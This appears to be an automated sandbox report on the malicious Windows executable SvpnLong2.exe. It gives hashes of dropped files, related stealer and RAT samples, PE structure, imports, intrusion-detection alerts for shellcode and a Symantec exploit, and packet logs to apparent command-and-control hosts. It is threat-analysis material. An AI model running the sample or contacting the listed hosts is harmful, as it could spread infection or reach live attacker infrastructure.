Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	39.97.203.118
	rwsNDpQSKZ.exe	Get hash	malicious	LummaC	Browse	39.97.203.118
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	39.97.203.118
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	39.97.203.118
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	39.97.203.118
	NsCTgrwBjQ.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	NsCTgrwBjQ.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	39.97.203.118
	github_softwares_v1.18.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	39.97.203.118

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\dwgwp\arphaCrashReport64.exe	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\dwgwp\arphaDump64.dll	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\dwgwp\arphaCrashReport64.exe

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238384
Entropy (8bit):	6.278635939854228
Encrypted:	false
SSDEEP:	3072:fN9rZ5vuFomptSepjTxUPjfOgwXCtRLDya09M9EvoHmkQ/2Y8L6vVefD:rZ5qomPSeCx7tRNQjSfD
MD5:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
SHA1:	DD63C3D4ACF0CE27F71CCE44B8950180E48E36FA
SHA-256:	E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
SHA-512:	1B4350D51C2107D0AA22EB01D64E1F1AB73C28114045C388BAF9547CC39A902C8A274A24479C7C2599F94C96F8772E438F21A2849316B5BD7F5D47C26A1E483B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........i...:...:...:...;...:...;)..:...;...:...;...:...;...:...;...:...;...:3..;...:...:...:3..;...:3.4:...:..\:...:3..;...:Rich...:........................PE..d......`.........."..........t......$..........@....................................j.....`..........................................................p...-...P.......h..0;......l...P...8.......................(.................... ..@............................text............................... ..`.rdata..F.... ......................@..@.data...L&... ......................@....pdata.......P......................@..@.rsrc....-...p.......2..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\ProgramData\dwgwp\arphaDump64.dll

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199488
Entropy (8bit):	7.683305461232812
Encrypted:	false
SSDEEP:	49152:IKfnUHT6pdHDy6kwNvtazNJCF0oCY+AtClkgTePCUWk:xf1pRmWvtkJCF5Fgq6Xk
MD5:	5D165E30CDB59FDCCBD2ACE554EF3DF7
SHA1:	20344ECC0639934EB752C2F28AC2A0E37BA1852E
SHA-256:	7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1
SHA-512:	7EF245B877C5FEB431794BE1E267845AE1E29723BDB5866B02AAEFF589EB2F6232E1A033BFEF7C711E9812939E2C931893B9D5BED862E6F6BD6101262572854A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 47%, Browse
Joe Sandbox View:	Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h-)..Cz..Cz..Cz.[.z..Cz.[.z..Cz.[.z..Cz..8z..Cz..Bz..Cz.[.z..Cz.[.z..Cz.[.z..CzRich..Cz................PE..d...#..f.........." .......... .....4.........................................!......{!...@.....................................................(.... ... ..........f!..)....!.....P................................................................................text............................... ..`.rdata..c2.......4..................@..@.data...."..........................@....pdata..............................@..@.rsrc..... .. .... .................@..@.reloc........!......b!.............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\49ba59abbe56e057.log

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	data
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	F9DEBE3F07BE68533BF0295E3D2BA68A
SHA1:	1CA1B255C5C75F83BE93EF3370770B9ACE9B6427
SHA-256:	F7B586904E3678145AA47E4232587C913139CEF0102D6D8E9276FC80C35CBAD3
SHA-512:	1187551D3D26549765EAF562C32D5F8999E2961ED8A3011604A29735579711737752C63B7F11D7A6D366A7423089DDF94D954413B3EC4A19673C73F2FEB177B6
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.983808655939615
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SvpnLong2.exe
File size:	30'057'472 bytes
MD5:	553f06cf08e33d5f59e69a45458d72e0
SHA1:	3b5fac3c1b19bf320e5eafc686175c9fbe5f1176
SHA256:	cc47d665e94711b5ed3c955d966f8357fc63cc39717c859505aa6e0aeacf227c
SHA512:	7d691ac962bb65cdeb14ea1d7d26cd399acbe962ceadb1621a2bedd7bb573bb9e24e5d51627b0b7176261ab1c6800f220296f81e7b175dfbeced5f84a121e70e
SSDEEP:	786432:uMloFo1f7Zi+d4Q7t5PQ9cP36vT1AI8iddLXwIrXC15:j2FsZi+d4Q7t5P3/eAHi/znu
TLSH:	2A67336AF7B511E1D4BBC1398D527239FC32B99497396AC78E16051B8B70BE0EA3D340
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................v.......B.......O...............w.......F.......A.....Rich............PE..d...@.Df.........."......f...b.....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140016460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6644BD40 [Wed May 15 13:48:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	a03dd07ccae7c8dff94431634a49cc27

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F193571EC2Ch
call 00007F1935703F97h
dec eax
add esp, 28h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 48h
mov dword ptr [esp+28h], 00000000h
call 00007F19357040D4h
mov dword ptr [esp+24h], eax
call 00007F193572023Bh
test eax, eax
jne 00007F1935703F8Ch
mov ecx, 0000001Ch
call 00007F193570408Dh
call 00007F19357041E8h
test eax, eax
jne 00007F1935703F8Ch
mov ecx, 00000010h
call 00007F193570407Ah
mov ecx, 00000001h
call 00007F19357114D0h
call 00007F193572018Bh
nop
call 00007F193571F9E5h
test eax, eax
jnl 00007F1935703F8Ch
mov ecx, 0000001Bh
call 00007F1935713127h
call dword ptr [00086FA4h]
dec eax
mov dword ptr [00080EDDh], eax
call 00007F193571F855h
dec eax
mov dword ptr [0007E5D9h], eax
call 00007F193571F219h
test eax, eax
jnl 00007F1935703F8Ch
mov ecx, 00000008h
call 00007F19357130FBh
call 00007F193571EFF6h
test eax, eax
jnl 00007F1935703F8Ch
mov ecx, 00000009h
call 00007F19357130E8h
mov ecx, 00000001h
call 00007F1935712FAEh

Rich Headers

Programming Language:

[ C ] VS2010 build 30319
[ASM] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d000	0x28	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9e000	0x1c10aac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x98000	0x44b8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1caf000	0x52c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9d3d0	0x3a8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x76572	0x76600	1975eb1fbeb29b6b84e8ea1d71b0e9cb	False	0.2737283031942978	data	5.054828699744769	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x78000	0x1a4ac	0x1a600	f1c9ec8c8eabbfb87aefe708d6ee6018	False	0.1985522808056872	data	3.606024759409487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x93000	0x43d9	0x1c00	175e3bb51df16f9950c8e905366505f4	False	0.13155691964285715	data	2.022782151062369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x98000	0x4cbc	0x4e00	ece9321e06617173becf64503f6e1cf7	False	0.4348457532051282	data	5.257878625439126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x9d000	0xf84	0x1000	e2b8c87e59f45f26bcf3a9a278e3166c	False	0.28759765625	data	3.843265003318042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9e000	0x1c11000	0x1c10c00	a519c6bc1407ed280b5bed2166a60e10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1caf000	0xc40	0xe00	981ae551cd02775e87f1855c4a69a105	False	0.23688616071428573	data	2.705935616002391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
FLAC	0x9e0dc	0x1c1082b	FLAC audio bitstream data, 16 bit, stereo, 44.1 kHz, 13173697 samples			0.9876413345336914
RT_MANIFEST	0x1cae908	0x1a1	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.5755395683453237

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CreateMutexA, Sleep, GetProcAddress, LoadLibraryW, CopyFileExA, DeleteFileA, GetModuleHandleA, GetSystemTimeAsFileTime, RtlLookupFunctionEntry, RtlUnwindEx, RaiseException, RtlPcToFileHeader, DecodePointer, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlCaptureContext, EncodePointer, GetModuleFileNameW, GetCommandLineA, FlsGetValue, FlsSetValue, GetCurrentThreadId, FlsAlloc, FlsFree, SetLastError, GetLastError, GetCurrentThread, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, LCMapStringW, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, FatalAppExitA, HeapSize, HeapValidate, IsBadReadPtr, GetStdHandle, WriteFile, OutputDebugStringA, WriteConsoleW, GetFileType, OutputDebugStringW, GetModuleHandleW, ExitProcess, SetConsoleCtrlHandler, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStartupInfoW, HeapSetInformation, GetVersion, HeapCreate, HeapDestroy, HeapFree, HeapAlloc, GetProcessHeap, VirtualQuery, FreeLibrary, GetStringTypeW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, GetLocaleInfoW, HeapReAlloc, HeapQueryInformation, SetFilePointer, GetConsoleCP, GetConsoleMode, SetStdHandle, CreateFileW, FlushFileBuffers, InitializeCriticalSection

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T17:00:18.177762+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49744	154.82.85.193	192.168.2.4
2024-07-27T16:58:36.597969+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49741	52.165.165.26	192.168.2.4
2024-07-27T17:00:10.062791+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49742	154.82.85.193	192.168.2.4
2024-07-27T16:57:58.592994+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49735	52.165.165.26	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 16:57:39.396615028 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:57:39.402777910 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:57:39.403009892 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:57:39.403358936 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:57:39.408885002 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:57:40.295834064 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:57:40.338602066 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:57:40.562674999 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:57:40.604265928 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:57:40.809168100 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:40.814635038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:40.814888000 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:40.814888954 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:40.823394060 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.726900101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.726916075 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.726926088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.726929903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.726936102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.727243900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:41.945200920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945224047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945230007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945272923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945277929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945282936 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945290089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945343018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.945561886 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:41.945960999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:41.994776964 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.149012089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149030924 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149041891 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149053097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149235010 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.149235010 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.149398088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149425983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149597883 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.149812937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149830103 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149840117 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149851084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.149880886 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.149919033 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.150583029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.150602102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.150612116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.150650024 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.150652885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.150717020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.363485098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.363704920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.363715887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.363873959 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.364598036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.364608049 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.364619017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.364661932 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.364697933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365258932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365268946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365277052 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365286112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365299940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365310907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365313053 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365322113 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365330935 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365340948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365358114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365358114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365389109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365639925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365695953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.365708113 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365717888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.365778923 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.577145100 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577173948 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577179909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577230930 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577240944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577245951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577289104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577299118 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577306032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577462912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.577462912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.577857971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577887058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577960014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577970982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.577980995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578027010 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578038931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578078032 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.578111887 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.578809977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578819990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578830957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578891039 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.578908920 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578919888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578929901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.578977108 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.579006910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.579664946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.579689026 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.579747915 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.790819883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791039944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791049957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791059971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791071892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791081905 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791093111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791117907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791121006 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.791135073 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791146994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791179895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.791201115 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.791611910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791784048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791795015 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791805983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791815996 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791826963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.791836977 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.791871071 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.791919947 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.792303085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792314053 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792324066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792332888 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792346001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792356014 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792361021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792371988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.792376041 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.792462111 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:42.793144941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793155909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793167114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:42.793226004 CEST	49731	9000	192.168.2.4	154.82.85.193
